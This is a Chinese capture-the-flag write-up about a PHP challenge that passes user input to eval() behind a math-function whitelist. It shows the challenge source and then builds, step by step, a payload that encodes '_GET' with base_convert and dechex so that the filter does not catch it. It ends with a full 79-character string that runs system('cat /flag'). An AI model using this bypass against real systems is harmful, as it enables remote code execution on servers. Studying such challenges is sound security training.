该题的题目页面是一段代码,代码如下:
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
如果想得到flag,需要向该页面提交一个c参数,长度不超过80,且限制了很多符号比如常见的空白符号,引号和中括号。同时如果使用函数,函数名必须在白名单中,最终构造好的内容如果通过了限制会被eval执行。
很明显,如果要得到flag只靠几个数学函数是没有希望的,需要想办法调用system函数。一种理想的payload是下面这样的:
c=system("cat /flag")
//flag目录结合具体题目
但是如何绕过函数和引号的限制呢?引号其实可以删掉,删掉引号命令还是可以执行。对于函数,可以利用动态函数的性质,即字符串做函数名,加上括号即可被当作函数执行:
c=($_GET[a])($_GET[b])
在上面的例子中,如果a=syetem,b=cat /flag,即可执行system(cat /flag)。
完整的payload如下:
c=($_GET[a])($_GET[b])&a=system&b=cat /flag
由于参数只检查c,所以a和b可以随便操作,接下来问题的关键就是,如何绕过c的检查。
白名单用来检测c中出现的变量名,因此a,b不能出现,但是可以用白名单中的值,比如abs,cos。GET中括号和和GET本身都不能出现,中括号可以用{}替代,因此这道题的核心就是构造_GET。构造如下:
base_convert(37907361743,10,36)(dechex(1598506324))
解释
base_convert(37907361743,10,36)=>"hex2bin",dechex(1598506324)=>"5f474554",hex2bin("5f474554")=>_GET
为了不让结果太长,需要用一个白名单变量来保存上述值,最好用最短的pi,否则长度很容易超限制。
至此,问题基本得以解决,最终的payload为
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
c的长度刚好为79,差一点点就完蛋了。